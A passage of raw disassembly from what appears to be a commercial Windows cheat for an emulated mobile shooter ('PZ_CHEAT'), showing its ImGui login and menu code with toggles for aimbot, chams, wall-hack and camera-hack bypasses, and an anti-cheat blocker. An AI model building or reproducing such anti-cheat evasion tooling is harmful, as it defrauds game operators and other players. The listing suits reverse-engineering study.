mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008120
movss xmm1, dword [0x14024948c]
mov r10, rax
movss xmm0, dword [0x140249488]
mov rcx, qword [0x1402236d0]
movss dword [rbp + 0x1ec], xmm1
movss xmm1, dword [0x140249494]
movss dword [rbp + 0x1e8], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x1e8]
mov dword [rbp + 0x1d8], 0x44458000
movss xmm0, dword [0x140249490]
movss dword [rbp + 0x1f0], xmm0
movss dword [rbp + 0x1f4], xmm1
mov dword [rbp + 0x1dc], 0x42340000
mov qword [rbp + 0x1e0], 0
call fcn.1400042a0
movss xmm6, dword [0x1400decb4]
lea rdx, [rbp + 0x1e0]
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea r8, [rbp + 0x1d8]
movss dword [rsp + 0x20], xmm6
mov rcx, r10
call fcn.14002bb00
mov rbx, qword [0x1402236d0]
cmp dword [rbx + 0x4870], 0
jg 0x140054e2b
mov r8d, 0x72d
lea rdx, [0x1400cf590]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008120
movss xmm1, dword [0x14024948c]
mov r10, rax
movss xmm0, dword [0x140249488]
mov rcx, qword [0x1402236d0]
movss dword [rbp + 0x1fc], xmm1
movss xmm1, dword [0x140249494]
movss dword [rbp + 0x1f8], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x1f8]
mov dword [rbp + 0x90], 0x44458000
movss xmm0, dword [0x140249490]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
mov dword [rbp + 0x94], 0x44108000
mov dword [rbp + 0x98], 0
mov dword [rbp + 0x9c], 0x42340000
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp + 0x98]
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0x90]
mov rcx, r10
call fcn.14002bb00
mov rcx, qword [0x1402236d0]
mov edx, 0xffffaaff
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm6, dword [rax + 0x18]
movss xmm7, dword [rax + 0x1c]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded68]
addss xmm0, xmm9
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140004730
mov rcx, qword [0x1402236d0]
movaps xmm0, xmmword [0x1400df110]
movups xmmword [rbp - 0x48], xmm0
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [rbp - 0x48]
mov rdi, qword [rax + 0x290]
call fcn.1400042a0
mov rbx, qword [0x140223700]
movaps xmm0, xmm6
movaps xmm1, xmm7
mov esi, eax
addss xmm1, xmm9
addss xmm0, dword [0x1400ded64]
movss dword [rbp + 0xa4], xmm1
movss dword [rbp + 0xa0], xmm0
test eax, 0xff000000
je 0x140055065
test rbx, rbx
jne 0x140054fe4
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x14005500f
mov r8d, 0x663
lea rdx, [0x1400d9fa0]
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
lea rax, [0x1400ddd20]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400decec]
lea r9, [rbp + 0xa0]
movss dword [rsp + 0x40], xmm13
mov rdx, rdi
mov qword [rsp + 0x38], rax
mov rcx, rbx
lea rax, str.PZ_CHEAT
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x48], xmm0
call fcn.140031dc0
call fcn.1400047f0
mov rcx, qword [0x1402236d0]
lea rdx, [rbp + 0xa8]
mov dword [rbp + 0xa8], 0x43fa0000
mov dword [rbp + 0xac], 0x43fa0000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, [0x1400ddd24]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded40]
addss xmm0, dword [0x1400ded30]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.14000bce0
mov rcx, qword [0x1402236d0]
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, xmm13
addss xmm0, dword [0x1400ded1c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140016c40
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], r13
lea r8, [0x1402237f0]
mov dword [rsp + 0x28], r13d
lea rdx, [0x1400cfcca]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
lea rcx, str.Username
mov qword [rbp + 0xb0], 0
call fcn.14003c660
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], r13
lea r8, [0x140223730]
mov dword [rsp + 0x28], 0x8000
lea rdx, [0x1400cfcca]
mov r9d, 0x41
mov qword [rsp + 0x20], rax
lea rcx, str.Password
mov qword [rbp + 0xb8], 0
call fcn.14003c660
mov rcx, qword [0x1402236d0]
lea rdx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x43020000
mov dword [rbp + 0xc4], 0x42200000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded24]
addss xmm0, dword [0x1400ded50]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140036e20
test al, al
je 0x1400552cb
lea rdx, [0x140223730]
lea rcx, [rbp + 0x228]
call fcn.140041520
lea rdx, [0x1402237f0]
mov rbx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140041520
mov r8, rbx
lea rcx, [0x140244a80]
mov rdx, rax
call fcn.140067600
cmp byte [0x140244c90], 0
jne 0x1400552c4
xor r9d, r9d
lea rdx, [0x1400ddd50]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r9d, r9d
lea rdx, [0x1400ddd68]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400552cb
mov byte [0x1402236cb], 1
mov r8, qword [0x1402236d0]
lea rcx, [rbp - 0x48]
movaps xmm0, xmmword [0x1400def50]
movups xmmword [rbp - 0x48], xmm0
mov rax, qword [r8 + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [r8 + 0x3ea0]
mov rdi, qword [rax + 0x290]
call fcn.1400042a0
mov rbx, qword [0x140223700]
movaps xmm0, xmm6
movaps xmm1, xmm7
mov esi, eax
addss xmm0, dword [0x1400ded5c]
addss xmm1, dword [0x1400ded70]
movss dword [rbp + 0xc8], xmm0
movss dword [rbp + 0xcc], xmm1
test eax, 0xff000000
je 0x1400553d4
test rbx, rbx
jne 0x140055349
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x140055374
mov r8d, 0x663
lea rdx, [0x1400d9fa0]
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1400dddbb]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0xc8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm14
lea rax, str.Website_:_https:__mercurycheat.xyz_
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x48], xmm0
call fcn.140031dc0
mov r8, qword [0x1402236d0]
mov rbx, qword [0x140223700]
mov rax, qword [r8 + 0x3ea0]
lea rcx, [rbp - 0x48]
movaps xmm0, xmmword [0x1400df0f0]
movups xmmword [rbp - 0x48], xmm0
mov byte [rax + 0xb0], 1
mov rax, qword [r8 + 0x3ea0]
mov rdi, qword [rax + 0x290]
call fcn.1400042a0
addss xmm6, xmm8
mov esi, eax
addss xmm7, dword [0x1400ded74]
movss dword [rbp + 0xd0], xmm6
movss dword [rbp + 0xd4], xmm7
test eax, 0xff000000
je 0x1400554b8
test rbx, rbx
jne 0x14005543b
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x140055466
mov r8d, 0x663
lea rdx, [0x1400d9fa0]
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1400ddde7]
movss dword [rsp + 0x40], xmm13
lea r9, [rbp + 0xd0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm14
lea rax, str.Discord_:_https:__discord.gg_SenaXApY86
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x48], xmm0
call fcn.140031dc0
call fcn.140016d90
call fcn.14000be20
call fcn.140048360
call fcn.1400123c0
cmp byte [0x1402236cb], 0
je 0x140057e81
cmp qword [0x1402237a8], 0
jne 0x140055517
mov rcx, qword [0x140249140]
lea rax, [0x1402237a8]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b6360]
mov r8d, 0x257b2
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov r8d, 0x20ab
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.Hello__world_
call fcn.14000fa00
mov r13, qword [0x1402236d0]
movaps xmm0, xmmword [0x1400def70]
movups xmmword [rbp - 0x48], xmm0
mov rax, qword [r13 + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [r13 + 0x3ea0]
movss xmm11, dword [rax + 0x18]
movss xmm12, dword [rax + 0x1c]
movaps xmm10, xmm11
addss xmm10, dword [0x1400ded88]
mov byte [rax + 0xb0], 1
movaps xmm8, xmm12
mov rcx, qword [r13 + 0x3ea0]
movaps xmm9, xmm11
addss xmm8, dword [0x1400ded7c]
addss xmm9, dword [0x1400ded38]
movaps xmm7, xmm12
movss dword [rbp + 0xd8], xmm10
mov rax, qword [rcx + 0x290]
addss xmm7, xmm13
movss dword [rbp + 0xdc], xmm8
movss dword [rbp + 0xe0], xmm9
mov edi, dword [rax + 0x20]
mov byte [rcx + 0xb0], 1
lea rcx, [rbp - 0x48]
movss dword [rbp + 0xe4], xmm7
call fcn.1400042a0
mov rcx, qword [r13 + 0x3ea0]
lea r8, [rbp + 0xd8]
movss xmm0, dword [r13 + 0x37f0]
lea rdx, [rbp + 0xe0]
mov r9d, eax
mov dword [rsp + 0x28], 0xa0
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x290]
call fcn.14002bb00
movaps xmm0, xmmword [0x1400def70]
movaps xmm6, xmm11
mov rbx, qword [0x1402236d0]
movaps xmm1, xmm0
addss xmm6, dword [0x1400ded34]
movups xmmword [rbp - 0x48], xmm0
mov rax, qword [rbx + 0x3ea0]
movups xmmword [rbp - 0x80], xmm0
mov byte [rax + 0xb0], 1
mov rcx, qword [rbx + 0x3ea0]
mov rax, qword [rcx + 0x290]
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb0], 1
lea rcx, [rbp - 0x48]
call fcn.1400042a0
lea rcx, [rbp - 0x80]
mov r9d, eax
call fcn.1400042a0
mov rcx, qword [rbx + 0x3ea0]
movaps xmm0, xmm10
mov dword [rsp + 0x30], r9d
mov edx, edi
unpcklps xmm6, xmm7
unpcklps xmm0, xmm8
movq r9, xmm6
mov rcx, qword [rcx + 0x290]
mov dword [rsp + 0x28], eax
movsd qword [rsp + 0x20], xmm0
call fcn.14002ce50
mov rax, qword [rbx + 0x3ea0]
lea rcx, [rbp - 0x80]
movaps xmm0, xmmword [0x1400def70]
movaps xmm6, xmm11
addss xmm6, xmm13
movss dword [rbp + 0xe8], xmm9
movss dword [rbp + 0xec], xmm8
movss dword [rbp + 0xf4], xmm7
mov byte [rax + 0xb0], 1
movups xmmword [rbp - 0x80], xmm0
movss dword [rbp + 0xf0], xmm6
call fcn.1400042a0
mov rcx, qword [rbx + 0x3ea0]
lea r8, [rbp + 0xe8]
movss xmm0, dword [r13 + 0x37f0]
lea rdx, [rbp + 0xf0]
mov r9d, eax
mov dword [rsp + 0x28], 0x50
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x290]
call fcn.14002bb00
movaps xmm0, xmmword [0x1400defe0]
lea rcx, [rbp - 0x80]
mov r8, qword [0x1402236d0]
movss dword [rbp + 0xf8], xmm10
movss dword [rbp + 0xfc], xmm8
movss dword [rbp + 0x100], xmm6
mov rax, qword [r8 + 0x3ea0]
movss dword [rbp + 0x104], xmm7
movups xmmword [rbp - 0x80], xmm0
mov byte [rax + 0xb0], 1
call fcn.1400042a0
mov rcx, qword [r8 + 0x3ea0]
lea rdx, [rbp + 0x100]
movss xmm0, dword [0x1400dec78]
lea r8, [rbp + 0xf8]
movss dword [rsp + 0x30], xmm0
mov r9d, eax
movss xmm0, dword [r13 + 0x37f0]
mov rcx, qword [rcx + 0x290]
movss dword [rsp + 0x20], xmm0
call fcn.14002b9f0
movaps xmm0, xmmword [0x1400defe0]
lea rcx, [rbp - 0x80]
mov r8, qword [0x1402236d0]
movaps xmm1, xmm11
addss xmm1, dword [0x1400ded3c]
movss dword [rbp + 0x10c], xmm8
movss dword [rbp + 0x110], xmm9
mov rax, qword [r8 + 0x3ea0]
movss dword [rbp + 0x114], xmm7
movss dword [rbp + 0x108], xmm1
movups xmmword [rbp - 0x80], xmm0
mov byte [rax + 0xb0], 1
call fcn.1400042a0
mov rcx, qword [r8 + 0x3ea0]
lea rdx, [rbp + 0x110]
mov r9d, eax
mov dword [rsp + 0x28], 0
lea r8, [rbp + 0x108]
movss dword [rsp + 0x20], xmm13
mov rcx, qword [rcx + 0x290]
call fcn.14002bb00
movaps xmm0, xmmword [0x1400df060]
lea rcx, [rbp - 0x80]
mov r8, qword [0x1402236d0]
movaps xmm1, xmm12
addss xmm1, dword [0x1400ded10]
addss xmm11, dword [0x1400ded00]
movss dword [rbp + 0x118], xmm9
mov rax, qword [r8 + 0x3ea0]
movups xmmword [rbp - 0x80], xmm0
movss dword [rbp + 0x11c], xmm1
mov byte [rax + 0xb0], 1
movss dword [rbp + 0x120], xmm11
movss dword [rbp + 0x124], xmm1
call fcn.1400042a0
mov rcx, qword [r8 + 0x3ea0]
lea rdx, [rbp + 0x120]
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x118]
mov rcx, qword [rcx + 0x290]
call fcn.14002b890
mov r8, qword [0x1402236d0]
movaps xmm1, xmm12
addss xmm1, dword [0x1400ded20]
movaps xmm0, xmmword [0x1400df040]
movss dword [rbp + 0x128], xmm10
mov rax, qword [r8 + 0x3ea0]
movups xmmword [rbp - 0x80], xmm0
movss dword [rbp + 0x12c], xmm1
mov byte [rax + 0xb0], 1
lea rcx, [rbp - 0x80]
movss dword [rbp + 0x130], xmm9
movss dword [rbp + 0x134], xmm1
call fcn.1400042a0
mov rcx, qword [r8 + 0x3ea0]
lea rdx, [rbp + 0x130]
mov r9d, eax
movss dword [rsp + 0x20], xmm13
lea r8, [rbp + 0x128]
mov rcx, qword [rcx + 0x290]
call fcn.14002b890
mov r8, qword [0x1402236d0]
lea rcx, [rbp - 0x80]
movaps xmm0, xmmword [0x1400df0d0]
movups xmmword [rbp - 0x80], xmm0
mov rax, qword [r8 + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [r8 + 0x3ea0]
mov rdi, qword [rax + 0x290]
call fcn.1400042a0
mov rbx, qword [0x140223700]
addss xmm12, xmm14
movss dword [rbp + 0x138], xmm11
mov esi, eax
movss dword [rbp + 0x13c], xmm12
test eax, 0xff000000
je 0x140055a50
test rbx, rbx
jne 0x1400559c8
mov rcx, qword [rdi + 0x38]
mov rbx, qword [rcx + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x1400559f3
mov r8d, 0x663
lea rdx, [0x1400d9fa0]
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
lea rax, [0x1400ddd20]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400dece0]
lea r9, [rbp + 0x138]
movss dword [rsp + 0x40], xmm13
mov rdx, rdi
mov qword [rsp + 0x38], rax
mov rcx, rbx
lea rax, str.PZ_CHEAT
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x80], xmm0
call fcn.140031dc0
mov r8, qword [0x1402236d0]
mov rax, qword [r8 + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [r8 + 0x3ea0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm0, dword [0x1400ded18]
movss dword [rax + 0xfc], xmm0
call fcn.140046510
call fcn.140016c40
movaps xmm0, xmmword [0x1400df0a0]
lea rdx, str._t__AIMBOT_OPTIONS
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f20
cmp dword [0x140223718], 0
lea r9, [rbp + 0x140]
lea rdx, str.Aim_Hacks
mov dword [rbp + 0x140], 0x43480000
sete r8b
mov dword [rbp + 0x144], 0x41c80000
xor edi, edi
lea rcx, [0x1400d159c]
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 1
call fcn.1400375f0
test al, al
je 0x140055afc
mov dword [0x140223718], edi
movaps xmm0, xmmword [0x1400df0a0]
lea rdx, str._t__VISUAL_OPTIONS
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f20
cmp dword [0x140223718], 2
lea r9, [rbp + 0x148]
mov dword [rsp + 0x28], edi
lea rdx, str.Visuals
sete r8b
mov dword [rbp + 0x148], 0x43480000
lea rcx, [0x1400d15a8]
mov dword [rbp + 0x14c], 0x41c80000
mov byte [rsp + 0x20], 1
call fcn.1400375f0
test al, al
je 0x140055b67
mov dword [0x140223718], 2
movaps xmm0, xmmword [0x1400df0a0]
lea rdx, str._t__BYPASS_OPTIONS
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call fcn.140035f20
cmp dword [0x140223718], 5
lea r9, [rbp + 0x150]
mov dword [rsp + 0x28], edi
lea rdx, str.Bypass_Emulator
sete r8b
mov dword [rbp + 0x150], 0x43480000
lea rcx, [0x1400d1598]
mov dword [rbp + 0x154], 0x41c80000
mov byte [rsp + 0x20], 1
call fcn.1400375f0
test al, al
je 0x140055bd2
mov dword [0x140223718], 5
call fcn.140016d90
mov eax, dword [0x140223718]
cmp eax, dword [0x140223714]
movss xmm8, dword [0x1400dedb4]
jne 0x140055bf4
movaps xmm6, xmm15
jmp 0x140055bf8
movaps xmm6, xmm8
mov rbx, qword [0x1402236d0]
test rbx, rbx
jne 0x140055c2b
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x140223718]
mov rbx, qword [0x1402236d0]
movss xmm0, dword [rbx + 0x18]
movss xmm7, dword [0x1400dec90]
mulss xmm0, xmm7
mulss xmm0, xmm6
addss xmm0, dword [0x140223774]
comiss xmm13, xmm0
jbe 0x140055c54
movaps xmm6, xmm13
jmp 0x140055c5c
movaps xmm6, xmm15
minss xmm6, xmm0
ucomiss xmm6, xmm13
movss dword [0x140223774], xmm6
jp 0x140055c82
jne 0x140055c82
movss xmm0, dword [0x140223780]
ucomiss xmm0, xmm13
jp 0x140055c82
jne 0x140055c82
mov dword [0x140223714], eax
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x47f8]
mulss xmm6, dword [r13 + 0x37e0]
lea rdx, [rbp + 0x27c]
mov dword [rbp + 0x27c], edi
movss dword [rbp + 0x280], xmm0
call fcn.14001f310
movss dword [rbx + 0x37e0], xmm6
mov rbx, qword [0x1402236d0]
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rbx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded48]
addss xmm0, dword [0x1400ded14]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov eax, dword [0x14022371c]
cmp eax, dword [0x14022377c]
jne 0x140055d2a
movaps xmm1, xmm15
jmp 0x140055d2e
movaps xmm1, xmm8
movss xmm0, dword [rbx + 0x18]
mulss xmm0, xmm7
mulss xmm0, xmm1
addss xmm0, dword [0x1402237e0]
comiss xmm13, xmm0
jbe 0x140055d4f
movaps xmm6, xmm13
jmp 0x140055d57
movaps xmm6, xmm15
minss xmm6, xmm0
ucomiss xmm6, xmm13
movss dword [0x1402237e0], xmm6
jp 0x140055d7d
jne 0x140055d7d
movss xmm0, dword [0x140223778]
ucomiss xmm0, xmm13
jp 0x140055d7d
jne 0x140055d7d
mov dword [0x14022377c], eax
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x47f8]
mulss xmm6, dword [r13 + 0x37e0]
lea rdx, [rbp + 0x258]
mov dword [rbp + 0x258], edi
movss dword [rbp + 0x25c], xmm0
call fcn.14001f310
mov rcx, qword [0x1402236d0]
lea rdx, [rbp + 0x158]
movss dword [rbx + 0x37e0], xmm6
mov dword [rbp + 0x158], 0x440d8000
mov dword [rbp + 0x15c], 0x43e10000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.General_CHILD
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x1400ded4c]
addss xmm0, dword [0x1400ded28]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.14000bce0
mov eax, dword [0x140223714]
cmp eax, 1
jne 0x140056003
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x43858000
lea rcx, str.Security_Options
mov dword [rbp + 0x164], 0x43a50000
call fcn.14000cc60
lea rdx, [0x1402237b9]
lea rcx, str.Block_Internet
call fcn.140039020
lea rdx, [0x1402237c0]
mov byte [0x1402236de], al
lea rcx, str.Block_Anti_Cheat
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223729], al
call fcn.140007d30
test al, al
je 0x140055ecb
lea rcx, str.Applies_in_Login
call fcn.140017c80
lea rdx, [0x1402237b8]
lea rcx, str.Stream_Mode
call fcn.140039020
lea rdx, [0x1402237bb]
mov byte [0x1402236dd], al
lea rcx, str.Reset_Guest
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223720], al
call fcn.140007d30
test al, al
je 0x140055f17
lea rcx, str.Applies_in_Login
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
movaps xmm1, xmm14
movaps xmm0, xmm13
call fcn.1400169e0
call fcn.140016c40
lea rdx, [rbp + 0x168]
mov dword [rbp + 0x168], 0x43858000
lea rcx, str.Brutal_Bypass
mov dword [rbp + 0x16c], 0x43390000
call fcn.14000cc60
lea rdx, [0x1402237bc]
lea rcx, str.Bypass_Camera_Hack
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223721], al
call fcn.140007d30
test al, al
je 0x140055f8d
lea rcx, str.Applies_in_Lobby
call fcn.140017c80
lea rdx, [0x1402237ba]
lea rcx, str.Bypass_Wall_Hack
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402236df], al
call fcn.140007d30
test al, al
je 0x140055fc0
lea rcx, str.Applies_in_Lobby
call fcn.140017c80
lea rdx, [0x1402237c1]
lea rcx, str.Bypass_Emulator_32bit
call fcn.140039020
mov ecx, 0x200
mov byte [0x14022372b], al
call fcn.140007d30
test al, al
je 0x140055ff3
lea rcx, str.Applies_in_Login
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
mov eax, dword [0x140223714]
test eax, eax
jne 0x1400561c5
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x43858000
lea rcx, str.Aim_Options
mov dword [rbp + 0x174], 0x43340000
call fcn.14000cc60
mov r8b, 1
lea rdx, [0x140223790]
lea rcx, str.Aimbot_V9
call fcn.140034710
mov ecx, 0x200
call fcn.140007d30
test al, al
je 0x140056073
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237c2]
lea rcx, str.Aimbot_Body
call fcn.140039020
mov ecx, 0x200
mov byte [0x14022372c], al
call fcn.140007d30
test al, al
je 0x1400560a6
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237b7]
lea rcx, str.Scope_Tracking_2X
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402236dc], al
call fcn.140007d30
test al, al
je 0x1400560d9
lea rcx, str.Applies_in_Game
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
movaps xmm1, xmm14
movaps xmm0, xmm13
call fcn.1400169e0
call fcn.140016c40
lea rdx, [rbp + 0x178]
mov dword [rbp + 0x178], 0x43858000
lea rcx, str.Sniper_Options
mov dword [rbp + 0x17c], 0x43390000
call fcn.14000cc60
lea rdx, [0x1402237b2]
lea rcx, str.Aim_AWM
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402236ca], al
call fcn.140007d30
test al, al
je 0x14005614f
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237d6]
lea rcx, str.Quick_Switch
call fcn.140039020
mov ecx, 0x200
mov byte [0x1402237e9], al
call fcn.140007d30
test al, al
je 0x140056182
lea rcx, str.Applies_in_Game
call fcn.140017c80
lea rdx, [0x1402237be]
lea rcx, str.Aim_Scope_AWM
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223723], al
call fcn.140007d30
test al, al
je 0x1400561b5
lea rcx, str.Applies_in_Game
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
mov eax, dword [0x140223714]
cmp eax, 2
jne 0x140056245
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp + 0x180]
mov dword [rbp + 0x180], 0x43858000
lea rcx, str.Player_Options
mov dword [rbp + 0x184], 0x42c80000
call fcn.14000cc60
lea rdx, [0x1402237bf]
lea rcx, str.Chams_Menu
call fcn.140039020
mov ecx, 0x200
mov byte [0x140223728], al
call fcn.140007d30
test al, al
je 0x140056235
lea rcx, str.Applies_in_Everywhere
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
mov eax, dword [0x140223714]
cmp eax, 5
jne 0x1400562e2
cmp dword [0x14022377c], edi
jne 0x140056a21
call fcn.140016c40
lea rdx, [rbp + 0x188]
mov dword [rbp + 0x188], 0x43858000
lea rcx, str.Bypass_Options
mov dword [rbp + 0x18c], 0x430c0000
call fcn.14000cc60
lea rdx, [0x1402237b9]
lea rcx, str.Block_Internet
call fcn.140039020
lea rdx, [0x1402237c1]
mov byte [0x1402236de], al
lea rcx, str.Bypass_Emulator_32bit
call fcn.140039020
mov ecx, 0x200
mov byte [0x14022372b], al
call fcn.140007d30
test al, al
je 0x1400562d2
lea rcx, str.Applies_in_Login
call fcn.140017c80
call fcn.14000cd60
call fcn.140016d90
mov eax, dword [0x140223714]
cmp eax, 3
